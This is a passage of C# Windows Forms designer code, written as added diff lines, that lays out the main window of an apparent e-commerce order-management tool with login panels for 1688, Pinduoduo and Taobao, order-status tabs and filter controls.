System.Windows.Forms.Panel(); + this.lblContactSupport = new System.Windows.Forms.LinkLabel(); + this.lbv = new System.Windows.Forms.Label(); + this.pbseting = new System.Windows.Forms.PictureBox(); + this.lbname = new System.Windows.Forms.Label(); + this.panel3 = new System.Windows.Forms.Panel(); + this.label3 = new System.Windows.Forms.Label(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.pnlClose = new DevComponents.DotNetBar.PanelEx(); + this.pnlMax = new DevComponents.DotNetBar.PanelEx(); + this.pnlMin = new DevComponents.DotNetBar.PanelEx(); + this.flowLayoutPanel1 = new System.Windows.Forms.FlowLayoutPanel(); + this.pnlWaitingBuyOrder = new DevComponents.DotNetBar.PanelEx(); + this.pnlWaitingDeliverGoods = new DevComponents.DotNetBar.PanelEx(); + this.pnlSuccess = new DevComponents.DotNetBar.PanelEx(); + this.pnlAfterSale = new DevComponents.DotNetBar.PanelEx(); + this.pnlOrderManage = new DevComponents.DotNetBar.PanelEx(); + this.splitMain = new System.Windows.Forms.SplitContainer(); + this.btn电子面单测试 = new System.Windows.Forms.Button(); + this.pnlSetMutliBuyer = new DevComponents.DotNetBar.PanelEx(); + this.chkUseMultiBuyer = new DevComponents.DotNetBar.Controls.CheckBoxX(); + this.dgvShop = new System.Windows.Forms.DataGridView(); + this.colSelect = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.colShopAccount = new System.Windows.Forms.DataGridViewLinkColumn(); + this.pnlSetReceiveAddress = new DevComponents.DotNetBar.PanelEx(); + this.pnlLogin1688 = new System.Windows.Forms.Panel(); + this.lb1688 = new DevComponents.DotNetBar.LabelX(); + this.panelEx8 = new DevComponents.DotNetBar.PanelEx(); + this.cb1688BuyUser = new System.Windows.Forms.ComboBox(); + this.button1 = new System.Windows.Forms.Button(); + this.pnlEditTableHeaders = new DevComponents.DotNetBar.PanelEx(); + this.pnlSetSendOrder = new DevComponents.DotNetBar.PanelEx(); + this.chkHasLogisticsThenSend = new DevComponents.DotNetBar.Controls.CheckBoxX(); + this.pnlLoginBuyin = new DevComponents.DotNetBar.PanelEx(); + this.txtFactoryExportProductId = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.txtSearch = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.lblSearch = new System.Windows.Forms.Label(); + this.panelEx3 = new DevComponents.DotNetBar.PanelEx(); + this.label5 = new System.Windows.Forms.Label(); + this.lb = new DevComponents.DotNetBar.LabelX(); + this.cbpddBuyUser = new System.Windows.Forms.ComboBox(); + this.panelEx7 = new DevComponents.DotNetBar.PanelEx(); + this.pnlReadOrder = new DevComponents.DotNetBar.PanelEx(); + this.panelEx5 = new DevComponents.DotNetBar.PanelEx(); + this.label8 = new System.Windows.Forms.Label(); + this.label4 = new System.Windows.Forms.Label(); + this.btn = new DevComponents.DotNetBar.PanelEx(); + this.lbsqcount = new System.Windows.Forms.Label(); + this.lbwsqcount = new System.Windows.Forms.Label(); + this.lblFactoryOrder = new System.Windows.Forms.Label(); + this.pnlAfterSaleSelect = new System.Windows.Forms.Panel(); + this.chkReadFinishedRefund = new DevComponents.DotNetBar.Controls.CheckBoxX(); + this.checkBoxX3 = new DevComponents.DotNetBar.Controls.CheckBoxX(); + this.checkBoxX2 = new DevComponents.DotNetBar.Controls.CheckBoxX(); + this.checkBoxX1 = new DevComponents.DotNetBar.Controls.CheckBoxX(); + this.pnlSuccessSelect = new System.Windows.Forms.Panel(); + this.cbcancel = new DevComponents.DotNetBar.Controls.CheckBoxX(); + this.cbNotSigned = new DevComponents.DotNetBar.Controls.CheckBoxX(); + this.cbSignedIn = new DevComponents.DotNetBar.Controls.CheckBoxX(); + this.pnlLoginPddPifa = new System.Windows.Forms.Panel(); + this.lbDelPddPifa = new DevComponents.DotNetBar.LabelX(); + this.btnLoginPddPifa = new DevComponents.DotNetBar.PanelEx(); + this.cmbPddPifaBuyUser = new System.Windows.Forms.ComboBox(); + this.pnlLoginTaobao = new System.Windows.Forms.Panel(); + this.panelEx2 = new DevComponents.DotNetBar.PanelEx(); + this.lbtaobao = new DevComponents.DotNetBar.LabelX(); + this.cbtbBuyUser = new System.Windows.Forms.ComboBox(); + this.chkUsePddPifa = new DevComponents.DotNetBar.Controls.CheckBoxX(); + this.pnsku = new System.Windows.Forms.Panel(); + this.pcskuimg = new System.Windows.Forms.PictureBox(); + this.pnlExportExcel = new DevComponents.DotNetBar.PanelEx(); + this.pnlFactoryOrder = new DevComponents.DotNetBar.PanelEx(); + this.pntimebuyorder = new System.Windows.Forms.Panel(); + this.dtimestartbuyorder = new System.Windows.Forms.DateTimePicker(); + this.dtimeendbuyorder = new System.Windows.Forms.DateTimePicker(); + this.label7 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.panel2 = new System.Windows.Forms.Panel(); + this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); + this.lblMsg = new System.Windows.Forms.Label(); + this.lbSendOrder = new System.Windows.Forms.Label(); + this.lbpdtime = new System.Windows.Forms.Label(); + this.pnorderadmin = new System.Windows.Forms.Panel(); + this.dataGridViewTextBoxColumn1 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn2 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn3 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.dataGridViewTextBoxColumn4 = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopId = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colShopName = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colAuthStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.colLoginStatus = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.panel1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbseting)).BeginInit(); + this.panel3.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.flowLayoutPanel1.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitMain)).BeginInit(); + this.splitMain.Panel1.SuspendLayout(); + this.splitMain.Panel2.SuspendLayout(); + this.splitMain.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.dgvShop)).BeginInit(); + this.pnlLogin1688.SuspendLayout(); + this.pnlAfterSaleSelect.SuspendLayout(); + this.pnlSuccessSelect.SuspendLayout(); + this.pnlLoginPddPifa.SuspendLayout(); + this.pnlLoginTaobao.SuspendLayout(); + this.pnsku.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pcskuimg)).BeginInit(); + this.pntimebuyorder.SuspendLayout(); + this.panel2.SuspendLayout(); + this.tableLayoutPanel1.SuspendLayout(); + this.SuspendLayout(); + // + // panel1 + // + this.panel1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panel1.Controls.Add(this.lblContactSupport); + this.panel1.Controls.Add(this.lbv); + this.panel1.Controls.Add(this.pbseting); + this.panel1.Controls.Add(this.lbname); + this.panel1.Controls.Add(this.panel3); + this.panel1.Controls.Add(this.pnlClose); + this.panel1.Controls.Add(this.pnlMax); + this.panel1.Controls.Add(this.pnlMin); + this.panel1.Controls.Add(this.flowLayoutPanel1); + this.panel1.Location = new System.Drawing.Point(1, 0); + this.panel1.Name = "panel1"; + this.panel1.Padding = new System.Windows.Forms.Padding(3); + this.panel1.Size = new System.Drawing.Size(1329, 39); + this.panel1.TabIndex = 4; + this.panel1.DoubleClick += new System.EventHandler(this.panel1_DoubleClick_1); + this.panel1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.panel1_MouseDown); + this.panel1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.panel1_MouseMove); + this.panel1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.panel1_MouseUp); + // + // lblContactSupport + // + this.lblContactSupport.AutoSize = true; + this.lblContactSupport.LinkColor = System.Drawing.Color.FromArgb(((int)(((byte)(224)))), ((int)(((byte)(224)))), ((int)(((byte)(224))))); + this.lblContactSupport.Location = new System.Drawing.Point(1088, 5); + this.lblContactSupport.Name = "lblContactSupport"; + this.lblContactSupport.Size = new System.Drawing.Size(53, 12); + this.lblContactSupport.TabIndex = 151; + this.lblContactSupport.TabStop = true; + this.lblContactSupport.Text = "联系客服"; + this.lblContactSupport.Visible = false; + this.lblContactSupport.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.lblContactSupport_LinkClicked); + // + // lbv + // + this.lbv.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.lbv.Font = new System.Drawing.Font("宋体", 10F); + this.lbv.ForeColor = System.Drawing.Color.White; + this.lbv.Location = new System.Drawing.Point(1147, 4); + this.lbv.Name = "lbv"; + this.lbv.Size = new System.Drawing.Size(64, 14); + this.lbv.TabIndex = 3; + this.lbv.Text = "V1.23"; + this.lbv.TextAlign = System.Drawing.ContentAlignment.MiddleRight; + this.lbv.Click += new System.EventHandler(this.lbv_Click); + this.lbv.MouseDown += new System.Windows.Forms.MouseEventHandler(this.lbv_MouseDown); + // + // pbseting + // + this.pbseting.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.pbseting.Cursor = System.Windows.Forms.Cursors.Hand; + this.pbseting.Image = global::_29WxOrder.Properties.Resources.seting; + this.pbseting.Location = new System.Drawing.Point(1215, 6); + this.pbseting.Name = "pbseting"; + this.pbseting.Size = new System.Drawing.Size(26, 26); + this.pbseting.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.pbseting.TabIndex = 141; + this.pbseting.TabStop = false; + this.pbseting.Click += new System.EventHandler(this.pbseting_Click); + // + // lbname + // + this.lbname.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.lbname.ForeColor = System.Drawing.Color.White; + this.lbname.Location = new System.Drawing.Point(1096, 23); + this.lbname.Name = "lbname"; + this.lbname.Size = new System.Drawing.Size(115, 12); + this.lbname.TabIndex = 140; + this.lbname.Text = "用户:"; + this.lbname.TextAlign = System.Drawing.ContentAlignment.TopRight; + this.lbname.Click += new System.EventHandler(this.lbname_Click); + this.lbname.MouseDown += new System.Windows.Forms.MouseEventHandler(this.lbname_MouseDown); + // + // panel3 + // + this.panel3.Controls.Add(this.label3); + this.panel3.Controls.Add(this.pictureBox1); + this.panel3.Location = new System.Drawing.Point(2, 2); + this.panel3.Name = "panel3"; + this.panel3.Size = new System.Drawing.Size(173, 37); + this.panel3.TabIndex = 130; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.Font = new System.Drawing.Font("宋体", 14F, System.Drawing.FontStyle.Bold); + this.label3.ForeColor = System.Drawing.Color.White; + this.label3.Location = new System.Drawing.Point(44, 9); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(69, 19); + this.label3.TabIndex = 1; + this.label3.Text = "小奶兔"; + // + // pictureBox1 + // + this.pictureBox1.Image = global::_29WxOrder.Properties.Resources.icon; + this.pictureBox1.Location = new System.Drawing.Point(3, 1); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(39, 33); + this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom; + this.pictureBox1.TabIndex = 0; + this.pictureBox1.TabStop = false; + this.pictureBox1.Click += new System.EventHandler(this.pictureBox1_Click); + // + // pnlClose + // + this.pnlClose.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.pnlClose.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlClose.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlClose.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlClose.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlClose.Location = new System.Drawing.Point(1305, 12); + this.pnlClose.Name = "pnlClose"; + this.pnlClose.Size = new System.Drawing.Size(15, 15); + this.pnlClose.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlClose.Style.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pnlClose.Style.BackgroundImage"))); + this.pnlClose.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlClose.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.pnlClose.Style.GradientAngle = 90; + this.pnlClose.StyleMouseDown.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pnlClose.StyleMouseDown.BackgroundImage"))); + this.pnlClose.StyleMouseOver.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pnlClose.StyleMouseOver.BackgroundImage"))); + this.pnlClose.TabIndex = 120; + this.pnlClose.Click += new System.EventHandler(this.pnlMenu_Click); + // + // pnlMax + // + this.pnlMax.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.pnlMax.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlMax.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlMax.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlMax.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlMax.Location = new System.Drawing.Point(1278, 12); + this.pnlMax.Name = "pnlMax"; + this.pnlMax.Size = new System.Drawing.Size(15, 15); + this.pnlMax.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlMax.Style.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pnlMax.Style.BackgroundImage"))); + this.pnlMax.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlMax.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.pnlMax.Style.GradientAngle = 90; + this.pnlMax.StyleMouseDown.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pnlMax.StyleMouseDown.BackgroundImage"))); + this.pnlMax.StyleMouseOver.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pnlMax.StyleMouseOver.BackgroundImage"))); + this.pnlMax.TabIndex = 121; + this.pnlMax.Click += new System.EventHandler(this.pnlMenu_Click); + // + // pnlMin + // + this.pnlMin.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.pnlMin.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlMin.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlMin.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlMin.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlMin.Location = new System.Drawing.Point(1251, 12); + this.pnlMin.Name = "pnlMin"; + this.pnlMin.Size = new System.Drawing.Size(15, 15); + this.pnlMin.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlMin.Style.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pnlMin.Style.BackgroundImage"))); + this.pnlMin.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlMin.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.pnlMin.Style.GradientAngle = 90; + this.pnlMin.StyleMouseDown.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pnlMin.StyleMouseDown.BackgroundImage"))); + this.pnlMin.StyleMouseOver.BackgroundImage = ((System.Drawing.Image)(resources.GetObject("pnlMin.StyleMouseOver.BackgroundImage"))); + this.pnlMin.TabIndex = 119; + this.pnlMin.Click += new System.EventHandler(this.pnlMenu_Click); + // + // flowLayoutPanel1 + // + this.flowLayoutPanel1.Controls.Add(this.pnlWaitingBuyOrder); + this.flowLayoutPanel1.Controls.Add(this.pnlWaitingDeliverGoods); + this.flowLayoutPanel1.Controls.Add(this.pnlSuccess); + this.flowLayoutPanel1.Controls.Add(this.pnlAfterSale); + this.flowLayoutPanel1.Controls.Add(this.pnlOrderManage); + this.flowLayoutPanel1.Location = new System.Drawing.Point(323, -1); + this.flowLayoutPanel1.Margin = new System.Windows.Forms.Padding(0); + this.flowLayoutPanel1.Name = "flowLayoutPanel1"; + this.flowLayoutPanel1.Size = new System.Drawing.Size(665, 43); + this.flowLayoutPanel1.TabIndex = 5; + // + // pnlWaitingBuyOrder + // + this.pnlWaitingBuyOrder.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlWaitingBuyOrder.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlWaitingBuyOrder.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlWaitingBuyOrder.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlWaitingBuyOrder.Location = new System.Drawing.Point(3, 3); + this.pnlWaitingBuyOrder.Name = "pnlWaitingBuyOrder"; + this.pnlWaitingBuyOrder.Size = new System.Drawing.Size(125, 37); + this.pnlWaitingBuyOrder.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlWaitingBuyOrder.Style.BackgroundImage = global::_29WxOrder.Properties.Resources.x_2_1; + this.pnlWaitingBuyOrder.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlWaitingBuyOrder.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.pnlWaitingBuyOrder.Style.GradientAngle = 90; + this.pnlWaitingBuyOrder.TabIndex = 85; + this.pnlWaitingBuyOrder.Click += new System.EventHandler(this.pnlMenu_Click); + // + // pnlWaitingDeliverGoods + // + this.pnlWaitingDeliverGoods.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlWaitingDeliverGoods.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlWaitingDeliverGoods.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlWaitingDeliverGoods.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlWaitingDeliverGoods.Location = new System.Drawing.Point(134, 3); + this.pnlWaitingDeliverGoods.Name = "pnlWaitingDeliverGoods"; + this.pnlWaitingDeliverGoods.Size = new System.Drawing.Size(125, 37); + this.pnlWaitingDeliverGoods.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlWaitingDeliverGoods.Style.BackgroundImage = global::_29WxOrder.Properties.Resources.x_3_0; + this.pnlWaitingDeliverGoods.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlWaitingDeliverGoods.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.pnlWaitingDeliverGoods.Style.GradientAngle = 90; + this.pnlWaitingDeliverGoods.TabIndex = 93; + this.pnlWaitingDeliverGoods.Click += new System.EventHandler(this.pnlMenu_Click); + // + // pnlSuccess + // + this.pnlSuccess.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlSuccess.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlSuccess.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlSuccess.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlSuccess.Location = new System.Drawing.Point(265, 3); + this.pnlSuccess.Name = "pnlSuccess"; + this.pnlSuccess.Size = new System.Drawing.Size(125, 37); + this.pnlSuccess.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSuccess.Style.BackgroundImage = global::_29WxOrder.Properties.Resources.yiwancheng; + this.pnlSuccess.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlSuccess.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.pnlSuccess.Style.GradientAngle = 90; + this.pnlSuccess.TabIndex = 97; + this.pnlSuccess.Click += new System.EventHandler(this.pnlMenu_Click); + // + // pnlAfterSale + // + this.pnlAfterSale.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlAfterSale.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlAfterSale.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlAfterSale.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlAfterSale.Location = new System.Drawing.Point(396, 3); + this.pnlAfterSale.Name = "pnlAfterSale"; + this.pnlAfterSale.Size = new System.Drawing.Size(125, 37); + this.pnlAfterSale.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlAfterSale.Style.BackgroundImage = global::_29WxOrder.Properties.Resources.x_4_0; + this.pnlAfterSale.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlAfterSale.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.pnlAfterSale.Style.GradientAngle = 90; + this.pnlAfterSale.TabIndex = 93; + this.pnlAfterSale.Click += new System.EventHandler(this.pnlMenu_Click); + // + // pnlOrderManage + // + this.pnlOrderManage.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlOrderManage.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlOrderManage.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlOrderManage.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlOrderManage.Location = new System.Drawing.Point(527, 3); + this.pnlOrderManage.Name = "pnlOrderManage"; + this.pnlOrderManage.Size = new System.Drawing.Size(125, 37); + this.pnlOrderManage.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlOrderManage.Style.BackgroundImage = global::_29WxOrder.Properties.Resources.x_6_0; + this.pnlOrderManage.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlOrderManage.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.pnlOrderManage.Style.GradientAngle = 90; + this.pnlOrderManage.TabIndex = 89; + this.pnlOrderManage.Click += new System.EventHandler(this.pnlMenu_Click); + // + // splitMain + // + this.splitMain.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.splitMain.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.splitMain.Location = new System.Drawing.Point(3, 40); + this.splitMain.Margin = new System.Windows.Forms.Padding(0); + this.splitMain.Name = "splitMain"; + this.splitMain.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // splitMain.Panel1 + // + this.splitMain.Panel1.BackColor = System.Drawing.Color.White; + this.splitMain.Panel1.Controls.Add(this.btn电子面单测试); + this.splitMain.Panel1.Controls.Add(this.pnlExportExcel); + this.splitMain.Panel1.Controls.Add(this.pnlSetMutliBuyer); + this.splitMain.Panel1.Controls.Add(this.pnlFactoryOrder); + this.splitMain.Panel1.Controls.Add(this.chkUseMultiBuyer); + this.splitMain.Panel1.Controls.Add(this.dgvShop); + this.splitMain.Panel1.Controls.Add(this.pnlSetReceiveAddress); + this.splitMain.Panel1.Controls.Add(this.pnlLogin1688); + this.splitMain.Panel1.Controls.Add(this.button1); + this.splitMain.Panel1.Controls.Add(this.pnlEditTableHeaders); + this.splitMain.Panel1.Controls.Add(this.pnlSetSendOrder); + this.splitMain.Panel1.Controls.Add(this.chkHasLogisticsThenSend); + this.splitMain.Panel1.Controls.Add(this.pnlLoginBuyin); + this.splitMain.Panel1.Controls.Add(this.txtFactoryExportProductId); + this.splitMain.Panel1.Controls.Add(this.txtSearch); + this.splitMain.Panel1.Controls.Add(this.lblSearch); + this.splitMain.Panel1.Controls.Add(this.panelEx3); + this.splitMain.Panel1.Controls.Add(this.label5); + this.splitMain.Panel1.Controls.Add(this.lb); + this.splitMain.Panel1.Controls.Add(this.cbpddBuyUser); + this.splitMain.Panel1.Controls.Add(this.panelEx7); + this.splitMain.Panel1.Controls.Add(this.pnlReadOrder); + this.splitMain.Panel1.Controls.Add(this.panelEx5); + this.splitMain.Panel1.Controls.Add(this.label8); + this.splitMain.Panel1.Controls.Add(this.label4); + this.splitMain.Panel1.Controls.Add(this.btn); + this.splitMain.Panel1.Controls.Add(this.lbsqcount); + this.splitMain.Panel1.Controls.Add(this.lbwsqcount); + this.splitMain.Panel1.Controls.Add(this.lblFactoryOrder); + this.splitMain.Panel1.Controls.Add(this.pnlAfterSaleSelect); + this.splitMain.Panel1.Controls.Add(this.pnlSuccessSelect); + this.splitMain.Panel1.Controls.Add(this.pnlLoginPddPifa); + this.splitMain.Panel1.Controls.Add(this.pnlLoginTaobao); + this.splitMain.Panel1.Controls.Add(this.chkUsePddPifa); + // + // splitMain.Panel2 + // + this.splitMain.Panel2.BackColor = System.Drawing.Color.White; + this.splitMain.Panel2.Controls.Add(this.pnsku); + this.splitMain.Panel2.Controls.Add(this.pntimebuyorder); + this.splitMain.Panel2.Paint += new System.Windows.Forms.PaintEventHandler(this.splitMain_Panel2_Paint); + this.splitMain.Size = new System.Drawing.Size(1324, 595); + this.splitMain.SplitterDistance = 108; + this.splitMain.SplitterWidth = 2; + this.splitMain.TabIndex = 5; + // + // btn电子面单测试 + // + this.btn电子面单测试.Location = new System.Drawing.Point(218, 74); + this.btn电子面单测试.Name = "btn电子面单测试"; + this.btn电子面单测试.Size = new System.Drawing.Size(98, 23); + this.btn电子面单测试.TabIndex = 892; + this.btn电子面单测试.Text = "电子面单测试"; + this.btn电子面单测试.UseVisualStyleBackColor = true; + this.btn电子面单测试.Visible = false; + this.btn电子面单测试.Click += new System.EventHandler(this.btn电子面单测试_Click); + // + // pnlSetMutliBuyer + // + this.pnlSetMutliBuyer.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.pnlSetMutliBuyer.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSetMutliBuyer.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlSetMutliBuyer.Cursor = System.Windows.Forms.Cursors.Hand; + this.pnlSetMutliBuyer.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlSetMutliBuyer.Font = new System.Drawing.Font("微软雅黑", 10F); + this.pnlSetMutliBuyer.Location = new System.Drawing.Point(1073, 82); + this.pnlSetMutliBuyer.Name = "pnlSetMutliBuyer"; + this.pnlSetMutliBuyer.Size = new System.Drawing.Size(45, 20); + this.pnlSetMutliBuyer.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSetMutliBuyer.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSetMutliBuyer.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.pnlSetMutliBuyer.Style.BorderWidth = 0; + this.pnlSetMutliBuyer.Style.CornerDiameter = 1; + this.pnlSetMutliBuyer.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.pnlSetMutliBuyer.Style.ForeColor.Color = System.Drawing.Color.White; + this.pnlSetMutliBuyer.Style.GradientAngle = 90; + this.pnlSetMutliBuyer.Style.LineAlignment = System.Drawing.StringAlignment.Near; + this.pnlSetMutliBuyer.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSetMutliBuyer.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSetMutliBuyer.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSetMutliBuyer.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSetMutliBuyer.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSetMutliBuyer.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.pnlSetMutliBuyer.TabIndex = 1138; + this.pnlSetMutliBuyer.Text = "设置"; + this.pnlSetMutliBuyer.Visible = false; + this.pnlSetMutliBuyer.Click += new System.EventHandler(this.pnlSetMutliBuyer_Click); + // + // chkUseMultiBuyer + // + this.chkUseMultiBuyer.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.chkUseMultiBuyer.AutoSize = true; + // + // + // + this.chkUseMultiBuyer.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.chkUseMultiBuyer.FocusCuesEnabled = false; + this.chkUseMultiBuyer.Location = new System.Drawing.Point(993, 83); 